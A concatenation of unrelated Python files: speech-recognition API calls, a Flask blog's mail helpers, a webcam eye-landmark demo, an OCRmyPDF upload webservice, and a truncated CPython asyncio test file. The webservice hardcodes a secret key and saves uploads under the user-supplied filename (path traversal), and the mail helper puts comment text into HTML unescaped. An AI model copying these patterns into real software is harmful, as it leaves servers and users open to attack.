<https://www.ibm.com/watson/developercloud/speech-to-text/api/v1/#sessionless_methods>`__, in the form ``LANGUAGE_BroadbandModel``, where ``LANGUAGE`` is the language value. Returns the most likely transcription if ``show_all`` is false (the default). Otherwise, returns the `raw API response <https://www.ibm.com/watson/developercloud/speech-to-text/api/v1/#sessionless_methods>`__ as a JSON dictionary. Raises a ``speech_recognition.UnknownValueError`` exception if the speech is unintelligible. Raises a ``speech_recognition.RequestError`` exception if the speech recognition operation failed, if the key isn't valid, or if there is no internet connection. """ assert isinstance(audio_data, AudioData), "Data must be audio data" assert isinstance(username, str), "``username`` must be a string" assert isinstance(password, str), "``password`` must be a string" flac_data = audio_data.get_flac_data( convert_rate=None if audio_data.sample_rate >= 16000 else 16000, # audio samples should be at least 16 kHz convert_width=None if audio_data.sample_width >= 2 else 2 # audio samples should be at least 16-bit ) url = "https://stream.watsonplatform.net/speech-to-text/api/v1/recognize?{}".format(urlencode({ "profanity_filter": "false", "model": "{}_BroadbandModel".format(language), "inactivity_timeout": -1, # don't stop recognizing when the audio stream activity stops })) request = Request(url, data=flac_data, headers={ "Content-Type": "audio/x-flac", "X-Watson-Learning-Opt-Out": "true", # prevent requests from being logged, for improved privacy }) authorization_value = base64.standard_b64encode("{}:{}".format(username, password).encode("utf-8")).decode("utf-8") request.add_header("Authorization", "Basic {}".format(authorization_value)) try: response = urlopen(request, timeout=self.operation_timeout) except HTTPError as e: raise RequestError("recognition request failed: {}".format(e.reason)) except URLError as e: raise RequestError("recognition connection failed: {}".format(e.reason)) response_text = response.read().decode("utf-8") result = json.loads(response_text) # return results if show_all: return result if "results" not in result or len(result["results"]) < 1 or "alternatives" not in result["results"][0]: raise UnknownValueError() transcription = [] for utterance in result["results"]: if "alternatives" not in utterance: raise UnknownValueError() for hypothesis in utterance["alternatives"]: if "transcript" in hypothesis: transcription.append(hypothesis["transcript"]) return "\n".join(transcription) def get_flac_converter(): """Returns the absolute path of a FLAC converter executable, or raises an OSError if none can be found.""" flac_converter = shutil_which("flac") # check for installed version first if flac_converter is None: # flac utility is not installed base_path = os.path.dirname(os.path.abspath(__file__)) # directory of the current module file, where all the FLAC bundled binaries are stored system, machine = platform.system(), platform.machine() if system == "Windows" and machine in {"i686", "i786", "x86", "x86_64", "AMD64"}: flac_converter = os.path.join(base_path, "flac-win32.exe") elif system == "Darwin" and machine in {"i686", "i786", "x86", "x86_64", "AMD64"}: flac_converter = os.path.join(base_path, "flac-mac") elif system == "Linux" and machine in {"i686", "i786", "x86"}: flac_converter = os.path.join(base_path, "flac-linux-x86") elif system == "Linux" and machine in {"x86_64", "AMD64"}: flac_converter = os.path.join(base_path, "flac-linux-x86_64") else: # no FLAC converter available raise OSError("FLAC conversion utility not available - consider installing the FLAC command line application by running `apt-get install flac` or your operating system's equivalent") # mark FLAC converter as executable if possible try: stat_info = os.stat(flac_converter) os.chmod(flac_converter, stat_info.st_mode | stat.S_IEXEC) except OSError: pass return flac_converter def shutil_which(pgm): """Python 2 compatibility: backport of ``shutil.which()`` from Python 3""" path = os.getenv('PATH') for p in path.split(os.path.pathsep): p = os.path.join(p, pgm) if os.path.exists(p) and os.access(p, os.X_OK): return p class PortableNamedTemporaryFile(object): """Limited replacement for ``tempfile.NamedTemporaryFile``, except unlike ``tempfile.NamedTemporaryFile``, the file can be opened again while it's currently open, even on Windows.""" def __init__(self, mode="w+b"): self.mode = mode def __enter__(self): # create the temporary file and open it import tempfile file_descriptor, file_path = tempfile.mkstemp() self._file = os.fdopen(file_descriptor, self.mode) # the name property is a public field self.name = file_path return self def __exit__(self, exc_type, exc_value, traceback): self._file.close() os.remove(self.name) def write(self, *args, **kwargs): return self._file.write(*args, **kwargs) def writelines(self, *args, **kwargs): return self._file.writelines(*args, **kwargs) def flush(self, *args, **kwargs): return self._file.flush(*args, **kwargs) # =============================== # backwards compatibility shims # =============================== WavFile = AudioFile # WavFile was renamed to AudioFile in 3.4.1 def recognize_api(self, audio_data, client_access_token, language="en", session_id=None, show_all=False): wav_data = audio_data.get_wav_data(convert_rate=16000, convert_width=2) url = "https://api.api.ai/v1/query" while True: boundary = uuid.uuid4().hex if boundary.encode("utf-8") not in wav_data: break if session_id is None: session_id = uuid.uuid4().hex data = b"--" + boundary.encode("utf-8") + b"\r\n" + b"Content-Disposition: form-data; name=\"request\"\r\n" + b"Content-Type: application/json\r\n" + b"\r\n" + b"{\"v\": \"20150910\", \"sessionId\": \"" + session_id.encode("utf-8") + b"\", \"lang\": \"" + language.encode("utf-8") + b"\"}\r\n" + b"--" + boundary.encode("utf-8") + b"\r\n" + b"Content-Disposition: form-data; name=\"voiceData\"; filename=\"audio.wav\"\r\n" + b"Content-Type: audio/wav\r\n" + b"\r\n" + wav_data + b"\r\n" + b"--" + boundary.encode("utf-8") + b"--\r\n" request = Request(url, data=data, headers={"Authorization": "Bearer {}".format(client_access_token), "Content-Length": str(len(data)), "Expect": "100-continue", "Content-Type": "multipart/form-data; boundary={}".format(boundary)}) try: response = urlopen(request, timeout=10) except HTTPError as e: raise RequestError("recognition request failed: {}".format(e.reason)) except URLError as e: raise RequestError("recognition connection failed: {}".format(e.reason)) response_text = response.read().decode("utf-8") result = json.loads(response_text) if show_all: return result if "status" not in result or "errorType" not in result["status"] or result["status"]["errorType"] != "success": raise UnknownValueError() return result["result"]["resolvedQuery"] Recognizer.recognize_api = classmethod(recognize_api) # API.AI Speech Recognition is deprecated/not recommended as of 3.5.0, and currently is only optionally available for paid plans
emails.py
#!/usr/bin/env python # -*- coding: utf-8 -*- # emails.py - 2021/11/4 # from threading import Thread from flask import current_app, url_for from flask_mail import Message from blog.extensions import mail def _send_async_mail(app, message): with app.app_context(): mail.send(message) # noinspection PyUnresolvedReferences,PyProtectedMember def send_mail(subject, to, html): app = current_app._get_current_object() message = Message(subject, recipients=[to], html=html) thr = Thread(target=_send_async_mail, args=[app, message]) thr.start() return thr def send_new_comment_email(post, comment): # Locate to comments post_url = url_for('blog.show_post', post_id=post.id, _external=True) + '#comments' send_mail(subject='新评论', to=current_app.config['BLOG_EMAIL'], html=f""" <p>您的文章:<b>{post.title}</b>&nbsp;有新的评论</p><hr> <p>来自&nbsp;<b>{comment.author}</b>&nbsp;的评论:</p> <p>{comment.body}</p><hr> <p>点击以下链接查看详情:</p> <p><a href="{post_url}">{post_url}</a></p> <p><small style="color: #868e96">该邮件为机器发送,请勿回复。</p> """) def send_new_reply_email(post, comment): # Locate to comments post_url = url_for('blog.show_post', post_id=post.id, _external=True) + '#comments' send_mail(subject='新回复', to=comment.replied.email, html=f""" <p>您评论过的文章&nbsp;<b>{post.title}</b>&nbsp;有新的回复:</p><hr> <p>来自&nbsp;<b>{comment.author}</b>&nbsp;的回复:</p> <p>{comment.body}</p><hr> <p>点击以下链接查看详情:</p> <p><a href="{post_url}">{post_url}</a></p> <p><small style="color: #868e96">该邮件为机器发送,请勿回复。</p> """)
bruno.py
import argparse import os import queue import threading import time import coloredlogs import cv2 as cv import numpy as np import tensorflow as tf from datasources import Video, Webcam from models import ELG import util.gaze if __name__ == '__main__': # args parser = argparse.ArgumentParser(description='Demonstration of landmarks localization.') parser.add_argument('-v', type=str, help='logging level', default='info', choices=['debug', 'info', 'warning', 'error', 'critical']) parser.add_argument('--from_video', type=str, help='Use this video path instead of webcam') parser.add_argument('--record_video', type=str, help='Output path of video of demonstration.') parser.add_argument('--fullscreen', action='store_true') parser.add_argument('--headless', action='store_true') parser.add_argument('--fps', type=int, default=60, help='Desired sampling rate of webcam') parser.add_argument('--camera_id', type=int, default=0, help='ID of webcam to use') args = parser.parse_args() coloredlogs.install( datefmt='%d/%m %H:%M', fmt='%(asctime)s %(levelname)s %(message)s', level=args.v.upper(), ) # Verifica disponibilidade de GPU from tensorflow.python.client import device_lib session_config = tf.ConfigProto(gpu_options=tf.GPUOptions(allow_growth=True)) gpu_available = False try: gpus = [d for d in device_lib.list_local_devices(config=session_config) if d.device_type == 'GPU'] gpu_available = len(gpus) > 0 except: pass # Inicia sessão tf.logging.set_verbosity(tf.logging.INFO) with tf.Session(config=session_config) as session: # Parametros batch_size = 2 # Carrega webcam para classe data_source = Webcam(tensorflow_session=session, batch_size=batch_size, camera_id=args.camera_id, fps=args.fps, data_format='NCHW' if gpu_available else 'NHWC', eye_image_shape=(36, 60)) # Modelo model = ELG( session, train_data={'videostream': data_source}, first_layer_stride=1, num_modules=2, num_feature_maps=32, learning_schedule=[ { 'loss_terms_to_optimize': {'dummy': ['hourglass', 'radius']}, }, ], ) # Inicializa thread da janela inferred_stuff_queue = queue.Queue() def _visualize_output(): last_frame_index = 0 last_frame_time = time.time() fps_history = [] all_gaze_histories = [] if args.fullscreen: cv.namedWindow('vis', cv.WND_PROP_FULLSCREEN) cv.setWindowProperty('vis', cv.WND_PROP_FULLSCREEN, cv.WINDOW_FULLSCREEN) while True: # Se não houver saida para visualizar, mostra frame sem anotações if inferred_stuff_queue.empty(): next_frame_index = last_frame_index + 1 if next_frame_index in data_source._frames: next_frame = data_source._frames[next_frame_index] if 'faces' in next_frame and len(next_frame['faces']) == 0: if not args.headless: cv.imshow('vis', next_frame['bgr']) if args.record_video: video_out_queue.put_nowait(next_frame_index) last_frame_index = next_frame_index if cv.waitKey(1) & 0xFF == ord('q'): return continue # Pega saida da rede neural e exibe output = inferred_stuff_queue.get() bgr = None for j in range(batch_size): frame_index = output['frame_index'][j] if frame_index not in data_source._frames: continue frame = data_source._frames[frame_index] # Define quais landmarks são utilizaveis heatmaps_amax = np.amax(output['heatmaps'][j, :].reshape(-1, 18), axis=0) can_use_eye = np.all(heatmaps_amax > 0.7) can_use_eyelid = np.all(heatmaps_amax[0:8] > 0.75) can_use_iris = np.all(heatmaps_amax[8:16] > 0.8) start_time = time.time() eye_index = output['eye_index'][j] bgr = frame['bgr'] eye = frame['eyes'][eye_index] eye_image = eye['image'] eye_side = eye['side'] eye_landmarks = output['landmarks'][j, :] eye_radius = output['radius'][j][0] if eye_side == 'left': eye_landmarks[:, 0] = eye_image.shape[1] - eye_landmarks[:, 0] eye_image = np.fliplr(eye_image) # Exibir resultados pré processados frame_landmarks = (frame['smoothed_landmarks'] if 'smoothed_landmarks' in frame else frame['landmarks']) # exibe pontos esquerda/direita dos olhos fh, fw, _ = bgr.shape print('inicio') for f, face in enumerate(frame['faces']): for landmark in frame_landmarks[f][:-1]: cv.drawMarker(bgr, tuple(np.round(landmark).astype(np.int32)), color=(0, 0, 255), markerType=cv.MARKER_STAR, markerSize=2, thickness=1, line_type=cv.LINE_AA) print('landmark', landmark) # landmarks eye_landmarks = np.concatenate([eye_landmarks, [[eye_landmarks[-1, 0] + eye_radius, eye_landmarks[-1, 1]]]]) eye_landmarks = np.asmatrix(np.pad(eye_landmarks, ((0, 0), (0, 1)), 'constant', constant_values=1.0)) eye_landmarks = (eye_landmarks * eye['inv_landmarks_transform_mat'].T)[:, :2] eye_landmarks = np.asarray(eye_landmarks) eyelid_landmarks = eye_landmarks[0:8, :] iris_landmarks = eye_landmarks[8:16, :] iris_centre = eye_landmarks[16, :] eyeball_centre = eye_landmarks[17, :] eyeball_radius = np.linalg.norm(eye_landmarks[18, :] - eye_landmarks[17, :]) # Smooth and visualize gaze direction num_total_eyes_in_frame = len(frame['eyes']) if len(all_gaze_histories) != num_total_eyes_in_frame: all_gaze_histories = [list() for _ in range(num_total_eyes_in_frame)] gaze_history = all_gaze_histories[eye_index] if can_use_eye: # Visualize landmarks cv.drawMarker( # Eyeball centre bgr, tuple(np.round(eyeball_centre).astype(np.int32)), color=(0, 255, 0), markerType=cv.MARKER_CROSS, markerSize=4, thickness=1, line_type=cv.LINE_AA, ) #cv.circle( # Eyeball outline # bgr, tuple(np.round(eyeball_centre).astype(np.int32)), # int(np.round(eyeball_radius)), color=(0, 255, 0), # thickness=1, lineType=cv.LINE_AA, # ) # Draw "gaze" # from models.elg import estimate_gaze_from_landmarks # current_gaze = estimate_gaze_from_landmarks( # iris_landmarks, iris_centre, eyeball_centre, eyeball_radius) #i_x0, i_y0 = iris_centre #e_x0, e_y0 = eyeball_centre #theta = -np.arcsin(np.clip((i_y0 - e_y0) / eyeball_radius, -1.0, 1.0)) #phi = np.arcsin(np.clip((i_x0 - e_x0) / (eyeball_radius * -np.cos(theta)), # -1.0, 1.0)) #current_gaze = np.array([theta, phi]) #gaze_history.append(current_gaze) #gaze_history_max_len = 10 #if len(gaze_history) > gaze_history_max_len: # gaze_history = gaze_history[-gaze_history_max_len:] # exibe direção do olhar #util.gaze.draw_gaze(bgr, iris_centre, np.mean(gaze_history, axis=0), # length=120.0, thickness=1) else: gaze_history.clear() #contorno dos olhos #if can_use_eyelid: # cv.polylines( # bgr, [np.round(eyelid_landmarks).astype(np.int32).reshape(-1, 1, 2)], # isClosed=True, color=(255, 255, 0), thickness=1, lineType=cv.LINE_AA, # ) if can_use_iris: #contorno da iris cv.polylines( bgr, [np.round(iris_landmarks).astype(np.int32).reshape(-1, 1, 2)], isClosed=True, color=(0, 255, 255), thickness=1, lineType=cv.LINE_AA, ) #centro da iris print('iris centre: ', iris_centre) cv.drawMarker( bgr, tuple(np.round(iris_centre).astype(np.int32)), color=(0, 255, 255), markerType=cv.MARKER_CROSS, markerSize=4, thickness=1, line_type=cv.LINE_AA, ) dtime = 1e3*(time.time() - start_time) if 'visualization' not in frame['time']: frame['time']['visualization'] = dtime else: frame['time']['visualization'] += dtime def _dtime(before_id, after_id): return int(1e3 * (frame['time'][after_id] - frame['time'][before_id])) def _dstr(title, before_id, after_id): return '%s: %dms' % (title, _dtime(before_id, after_id)) if eye_index == len(frame['eyes']) - 1: # Calcula fps e exibe frame['time']['after_visualization'] = time.time() fps = int(np.round(1.0 / (time.time() - last_frame_time))) fps_history.append(fps) if len(fps_history) > 60: fps_history = fps_history[-60:] fps_str = '%d FPS' % np.mean(fps_history) last_frame_time = time.time() fh, fw, _ = bgr.shape if not args.headless: cv.imshow('vis', bgr) last_frame_index = frame_index # Record frame? if args.record_video: video_out_queue.put_nowait(frame_index) # Quit? if cv.waitKey(1) & 0xFF == ord('q'): return # Print timings if frame_index % 60 == 0: latency = _dtime('before_frame_read', 'after_visualization') processing = _dtime('after_frame_read', 'after_visualization') timing_string = ', '.join([ _dstr('read', 'before_frame_read', 'after_frame_read'), _dstr('preproc', 'after_frame_read', 'after_preprocessing'), 'infer: %dms' % int(frame['time']['inference']), 'vis: %dms' % int(frame['time']['visualization']), 'proc: %dms' % processing, 'latency: %dms' % latency, ]) print('%08d [%s] %s' % (frame_index, fps_str, timing_string)) visualize_thread = threading.Thread(target=_visualize_output, name='visualization') visualize_thread.daemon = True visualize_thread.start() # Do inference forever infer = model.inference_generator() while True: output = next(infer) for frame_index in np.unique(output['frame_index']): if frame_index not in data_source._frames: continue frame = data_source._frames[frame_index] if 'inference' in frame['time']: frame['time']['inference'] += output['inference_time'] else: frame['time']['inference'] = output['inference_time'] inferred_stuff_queue.put_nowait(output) if not visualize_thread.isAlive(): break if not data_source._open: break # Close video recording if args.record_video and video_out is not None: video_out_should_stop = True video_out_queue.put_nowait(None) with video_out_done: video_out_done.wait()
app.py
import os ## # REDIS SETUP from redis import Redis rediscli = Redis(host=os.environ['REDIS_HOST'], port=os.environ['REDIS_PORT'], password=os.environ['REDIS_PASSWORD']) ## # LOGGING SETUP import json import re from logging import StreamHandler class MyLogHandler(StreamHandler): def __init__(self, filename, *args, **kwargs): super().__init__(*args, **kwargs) self.filename = filename def extract_page(self, text): m = re.search(r'(?<=Rotations for page )\d+', text) return m.group(0) def emit(self, record): msg = self.format(record) print('{} - {}'.format(self.filename, msg)) if 'Rotations for page' in msg: page = int(self.extract_page(msg)) + 1 message = json.dumps({ 'filename': self.filename, 'page': page }) rediscli.publish(os.environ['REDIS_CHANNEL'], message) ## # OCRizer import ocrmypdf def do_myocr(filename, up_file, down_file): logger = ocrmypdf.configure_logging(-1) mh = MyLogHandler(filename) logger.addHandler(mh) ocrmypdf.ocr(up_file, down_file, progress_bar=False, skip_text=True) ## # WEBSERVICE import shlex from subprocess import PIPE, run from tempfile import TemporaryDirectory from flask import ( Flask, Response, abort, flash, redirect, request, send_from_directory, url_for, ) from flask_cors import CORS, cross_origin from multiprocessing import Process app = Flask(__name__) cors = CORS(app) app.config['CORS_HEADERS'] = 'Content-Type' app.secret_key = "secret" app.config['MAX_CONTENT_LENGTH'] = 50_000_000 app.config.from_envvar("OCRMYPDF_WEBSERVICE_SETTINGS", silent=True) ALLOWED_EXTENSIONS = set(["pdf"]) def allowed_file(filename): return "." in filename and filename.rsplit(".", 1)[1].lower() in ALLOWED_EXTENSIONS def do_ocrmypdf(filename, filepath): downloaddir = TemporaryDirectory(prefix="ocrmypdf-download") down_file = os.path.join(downloaddir.name, filename) params = "" if ("params" in request.form): params = request.form["params"] cmd_args = [arg for arg in shlex.split(params)] if "--sidecar" in cmd_args: return Response("--sidecar not supported", 501, mimetype='text/plain') p = Process(target=do_myocr, args=(filename, filepath, down_file, )) p.start() p.join() message = json.dumps({ 'filename': filename, 'page': -1 }) rediscli.publish(os.environ['REDIS_CHANNEL'], message) return send_from_directory(downloaddir.name, filename, as_attachment=True) from urllib.parse import unquote @app.route("/", methods=["GET", "POST"]) @cross_origin() def upload_file(): if request.method == "POST": if "file" not in request.files: return Response("Missing file", 400, mimetype='text/plain') file = request.files["file"] uploaddir = TemporaryDirectory(prefix="ocrmypdf-upload") filepath = os.path.join(uploaddir.name, file.filename) file.save(filepath) if filepath == "": return Response("Empty filepath", 400, mimetype='text/plain') if not allowed_file(file.filename): return Response("Invalid filename", 400, mimetype='text/plain') if allowed_file(file.filename): return do_ocrmypdf(file.filename, filepath) return Response("Some other problem", 400, mimetype='text/plain') return """ <!doctype html> <title>OCRmyPDF webservice</title> <h1>Upload a PDF (debug UI)</h1> <form method=post enctype=multipart/form-data> <label for="args">Command line parameters</label> <input type=textbox name=params> <label for="file">File to upload</label> <input type=file name=file> <input type=submit value=Upload> </form> <h4>Notice</h2> <div style="font-size: 70%; max-width: 34em;"> <p>This is a webservice wrapper for OCRmyPDF.</p> <p>Copyright 2019 James R. Barlow</p> <p>This program is free software: you can redistribute it and/or modify it under the terms of the GNU Affero General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. </p> <p>This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. </p> <p> You should have received a copy of the GNU Affero General Public License along with this program. If not, see &lt;http://www.gnu.org/licenses/&gt;. </p> </div> """ if __name__ == "__main__": app.run(host='0.0.0.0', port=os.environ['WEBSERVICE_PORT'], debug=os.environ['DEBUG_MODE'] == 'True')
test_unix_events.py
"""Tests for unix_events.py.""" import contextlib import errno import io import os import pathlib import signal import socket import stat import sys import tempfile import threading import unittest from unittest import mock from test.support import os_helper from test.support import socket_helper if sys.platform == 'win32': raise unittest.SkipTest('UNIX only') import asyncio from asyncio import log from asyncio import unix_events from test.test_asyncio import utils as test_utils def tearDownModule(): asyncio.set_event_loop_policy(None) MOCK_ANY = mock.ANY def EXITCODE(exitcode): return 32768 + exitcode def SIGNAL(signum): if not 1 <= signum <= 68: raise AssertionError(f'invalid signum {signum}') return 32768 - signum def close_pipe_transport(transport): # Don't call transport.close() because the event loop and the selector # are mocked if transport._pipe is None: return transport._pipe.close() transport._pipe = None @unittest.skipUnless(signal, 'Signals are not supported') class SelectorEventLoopSignalTests(test_utils.TestCase): def setUp(self): super().setUp() self.loop = asyncio.SelectorEventLoop() self.set_event_loop(self.loop) def test_check_signal(self): self.assertRaises( TypeError, self.loop._check_signal, '1') self.assertRaises( ValueError, self.loop._check_signal, signal.NSIG + 1) def test_handle_signal_no_handler(self): self.loop._handle_signal(signal.NSIG + 1) def test_handle_signal_cancelled_handler(self): h = asyncio.Handle(mock.Mock(), (), loop=mock.Mock()) h.cancel() self.loop._signal_handlers[signal.NSIG + 1] = h self.loop.remove_signal_handler = mock.Mock() self.loop._handle_signal(signal.NSIG + 1) self.loop.remove_signal_handler.assert_called_with(signal.NSIG + 1) @mock.patch('asyncio.unix_events.signal') def test_add_signal_handler_setup_error(self, m_signal): m_signal.NSIG = signal.NSIG m_signal.valid_signals = signal.valid_signals m_signal.set_wakeup_fd.side_effect = ValueError self.assertRaises( RuntimeError, self.loop.add_signal_handler, signal.SIGINT, lambda: True) @mock.patch('asyncio.unix_events.signal') def test_add_signal_handler_coroutine_error(self, m_signal): m_signal.NSIG = signal.NSIG async def simple_coroutine(): pass # callback must not be a coroutine function coro_func = simple_coroutine coro_obj = coro_func() self.addCleanup(coro_obj.close) for func in (coro_func, coro_obj): self.assertRaisesRegex( TypeError, 'coroutines cannot be used with add_signal_handler', self.loop.add_signal_handler, signal.SIGINT, func) @mock.patch('asyncio.unix_events.signal') def test_add_signal_handler(self, m_signal): m_signal.NSIG = signal.NSIG m_signal.valid_signals = signal.valid_signals cb = lambda: True self.loop.add_signal_handler(signal.SIGHUP, cb) h = self.loop._signal_handlers.get(signal.SIGHUP) self.assertIsInstance(h, asyncio.Handle) self.assertEqual(h._callback, cb) @mock.patch('asyncio.unix_events.signal') def test_add_signal_handler_install_error(self, m_signal): m_signal.NSIG = signal.NSIG m_signal.valid_signals = signal.valid_signals def set_wakeup_fd(fd): if fd == -1: raise ValueError() m_signal.set_wakeup_fd = set_wakeup_fd class Err(OSError): errno = errno.EFAULT m_signal.signal.side_effect = Err self.assertRaises( Err, self.loop.add_signal_handler, signal.SIGINT, lambda: True) @mock.patch('asyncio.unix_events.signal') @mock.patch('asyncio.base_events.logger') def test_add_signal_handler_install_error2(self, m_logging, m_signal): m_signal.NSIG = signal.NSIG m_signal.valid_signals = signal.valid_signals class Err(OSError): errno = errno.EINVAL m_signal.signal.side_effect = Err self.loop._signal_handlers[signal.SIGHUP] = lambda: True self.assertRaises( RuntimeError, self.loop.add_signal_handler, signal.SIGINT, lambda: True) self.assertFalse(m_logging.info.called) self.assertEqual(1, m_signal.set_wakeup_fd.call_count) @mock.patch('asyncio.unix_events.signal') @mock.patch('asyncio.base_events.logger') def test_add_signal_handler_install_error3(self, m_logging, m_signal): class Err(OSError): errno = errno.EINVAL m_signal.signal.side_effect = Err m_signal.NSIG = signal.NSIG m_signal.valid_signals = signal.valid_signals self.assertRaises( RuntimeError, self.loop.add_signal_handler, signal.SIGINT, lambda: True) self.assertFalse(m_logging.info.called) self.assertEqual(2, m_signal.set_wakeup_fd.call_count) @mock.patch('asyncio.unix_events.signal') def test_remove_signal_handler(self, m_signal): m_signal.NSIG = signal.NSIG m_signal.valid_signals = signal.valid_signals self.loop.add_signal_handler(signal.SIGHUP, lambda: True) self.assertTrue( self.loop.remove_signal_handler(signal.SIGHUP)) self.assertTrue(m_signal.set_wakeup_fd.called) self.assertTrue(m_signal.signal.called) self.assertEqual( (signal.SIGHUP, m_signal.SIG_DFL), m_signal.signal.call_args[0]) @mock.patch('asyncio.unix_events.signal') def test_remove_signal_handler_2(self, m_signal): m_signal.NSIG = signal.NSIG m_signal.SIGINT = signal.SIGINT m_signal.valid_signals = signal.valid_signals self.loop.add_signal_handler(signal.SIGINT, lambda: True) self.loop._signal_handlers[signal.SIGHUP] = object() m_signal.set_wakeup_fd.reset_mock() self.assertTrue( self.loop.remove_signal_handler(signal.SIGINT)) self.assertFalse(m_signal.set_wakeup_fd.called) self.assertTrue(m_signal.signal.called) self.assertEqual( (signal.SIGINT, m_signal.default_int_handler), m_signal.signal.call_args[0]) @mock.patch('asyncio.unix_events.signal') @mock.patch('asyncio.base_events.logger') def test_remove_signal_handler_cleanup_error(self, m_logging, m_signal): m_signal.NSIG = signal.NSIG m_signal.valid_signals = signal.valid_signals self.loop.add_signal_handler(signal.SIGHUP, lambda: True) m_signal.set_wakeup_fd.side_effect = ValueError self.loop.remove_signal_handler(signal.SIGHUP) self.assertTrue(m_logging.info) @mock.patch('asyncio.unix_events.signal') def test_remove_signal_handler_error(self, m_signal): m_signal.NSIG = signal.NSIG m_signal.valid_signals = signal.valid_signals self.loop.add_signal_handler(signal.SIGHUP, lambda: True) m_signal.signal.side_effect = OSError self.assertRaises( OSError, self.loop.remove_signal_handler, signal.SIGHUP) @mock.patch('asyncio.unix_events.signal') def test_remove_signal_handler_error2(self, m_signal): m_signal.NSIG = signal.NSIG m_signal.valid_signals = signal.valid_signals self.loop.add_signal_handler(signal.SIGHUP, lambda: True) class Err(OSError): errno = errno.EINVAL m_signal.signal.side_effect = Err self.assertRaises( RuntimeError, self.loop.remove_signal_handler, signal.SIGHUP) @mock.patch('asyncio.unix_events.signal') def test_close(self, m_signal): m_signal.NSIG = signal.NSIG m_signal.valid_signals = signal.valid_signals self.loop.add_signal_handler(signal.SIGHUP, lambda: True) self.loop.add_signal_handler(signal.SIGCHLD, lambda: True) self.assertEqual(len(self.loop._signal_handlers), 2) m_signal.set_wakeup_fd.reset_mock() self.loop.close() self.assertEqual(len(self.loop._signal_handlers), 0) m_signal.set_wakeup_fd.assert_called_once_with(-1) @mock.patch('asyncio.unix_events.sys') @mock.patch('asyncio.unix_events.signal') def test_close_on_finalizing(self, m_signal, m_sys): m_signal.NSIG = signal.NSIG m_signal.valid_signals = signal.valid_signals self.loop.add_signal_handler(signal.SIGHUP, lambda: True) self.assertEqual(len(self.loop._signal_handlers), 1) m_sys.is_finalizing.return_value = True m_signal.signal.reset_mock() with self.assertWarnsRegex(ResourceWarning, "skipping signal handlers removal"): self.loop.close() self.assertEqual(len(self.loop._signal_handlers), 0) self.assertFalse(m_signal.signal.called) @unittest.skipUnless(hasattr(socket, 'AF_UNIX'), 'UNIX Sockets are not supported') class SelectorEventLoopUnixSocketTests(test_utils.TestCase): def setUp(self): super().setUp() self.loop = asyncio.SelectorEventLoop() self.set_event_loop(self.loop) @socket_helper.skip_unless_bind_unix_socket def test_create_unix_server_existing_path_sock(self): with test_utils.unix_socket_path() as path: sock = socket.socket(socket.AF_UNIX) sock.bind(path) sock.listen(1) sock.close() coro = self.loop.create_unix_server(lambda: None, path) srv = self.loop.run_until_complete(coro) srv.close() self.loop.run_until_complete(srv.wait_closed()) @socket_helper.skip_unless_bind_unix_socket def test_create_unix_server_pathlib(self): with test_utils.unix_socket_path() as path: path = pathlib.Path(path) srv_coro = self.loop.create_unix_server(lambda: None, path) srv = self.loop.run_until_complete(srv_coro) srv.close() self.loop.run_until_complete(srv.wait_closed()) def test_create_unix_connection_pathlib(self): with test_utils.unix_socket_path() as path: path = pathlib.Path(path) coro = self.loop.create_unix_connection(lambda: None, path) with self.assertRaises(FileNotFoundError): # If pathlib.Path wasn't supported, the exception would be # different. self.loop.run_until_complete(coro) def test_create_unix_server_existing_path_nonsock(self): with tempfile.NamedTemporaryFile() as file: coro = self.loop.create_unix_server(lambda: None, file.name) with self.assertRaisesRegex(OSError, 'Address.*is already in use'): self.loop.run_until_complete(coro) def test_create_unix_server_ssl_bool(self): coro = self.loop.create_unix_server(lambda: None, path='spam', ssl=True) with self.assertRaisesRegex(TypeError, 'ssl argument must be an SSLContext'): self.loop.run_until_complete(coro) def test_create_unix_server_nopath_nosock(self): coro = self.loop.create_unix_server(lambda: None, path=None) with self.assertRaisesRegex(ValueError, 'path was not specified, and no sock'): self.loop.run_until_complete(coro) def test_create_unix_server_path_inetsock(self): sock = socket.socket() with sock: coro = self.loop.create_unix_server(lambda: None, path=None, sock=sock) with self.assertRaisesRegex(ValueError, 'A UNIX Domain Stream.*was expected'): self.loop.run_until_complete(coro) def test_create_unix_server_path_dgram(self): sock = socket.socket(socket.AF_UNIX, socket.SOCK_DGRAM) with sock: coro = self.loop.create_unix_server(lambda: None, path=None, sock=sock) with self.assertRaisesRegex(ValueError, 'A UNIX Domain Stream.*was expected'): self.loop.run_until_complete(coro) @unittest.skipUnless(hasattr(socket, 'SOCK_NONBLOCK'), 'no socket.SOCK_NONBLOCK (linux only)') @socket_helper.skip_unless_bind_unix_socket def test_create_unix_server_path_stream_bittype(self): sock = socket.socket( socket.AF_UNIX, socket.SOCK_STREAM | socket.SOCK_NONBLOCK) with tempfile.NamedTemporaryFile() as file: fn = file.name try: with sock: sock.bind(fn) coro = self.loop.create_unix_server(lambda: None, path=None, sock=sock) srv = self.loop.run_until_complete(coro) srv.close() self.loop.run_until_complete(srv.wait_closed()) finally: os.unlink(fn) def test_create_unix_server_ssl_timeout_with_plain_sock(self): coro = self.loop.create_unix_server(lambda: None, path='spam', ssl_handshake_timeout=1) with self.assertRaisesRegex( ValueError, 'ssl_handshake_timeout is only meaningful with ssl'): self.loop.run_until_complete(coro) def test_create_unix_connection_path_inetsock(self): sock = socket.socket() with sock: coro = self.loop.create_unix_connection(lambda: None, sock=sock) with self.assertRaisesRegex(ValueError, 'A UNIX Domain Stream.*was expected'): self.loop.run_until_complete(coro) @mock.patch('asyncio.unix_events.socket') def test_create_unix_server_bind_error(self, m_socket): # Ensure that the socket is closed on any bind error sock = mock.Mock() m_socket.socket.return_value = sock sock.bind.side_effect = OSError coro = self.loop.create_unix_server(lambda: None, path="/test") with self.assertRaises(OSError): self.loop.run_until_complete(coro) self.assertTrue(sock.close.called) sock.bind.side_effect = MemoryError coro = self.loop.create_unix_server(lambda: None, path="/test") with self.assertRaises(MemoryError): self.loop.run_until_complete(coro) self.assertTrue(sock.close.called) def test_create_unix_connection_path_sock(self): coro = self.loop.create_unix_connection( lambda: None, os.devnull, sock=object()) with self.assertRaisesRegex(ValueError, 'path and sock can not be'): self.loop.run_until_complete(coro) def test_create_unix_connection_nopath_nosock(self): coro = self.loop.create_unix_connection( lambda: None, None) with self.assertRaisesRegex(ValueError, 'no path and sock were specified'): self.loop.run_until_complete(coro) def 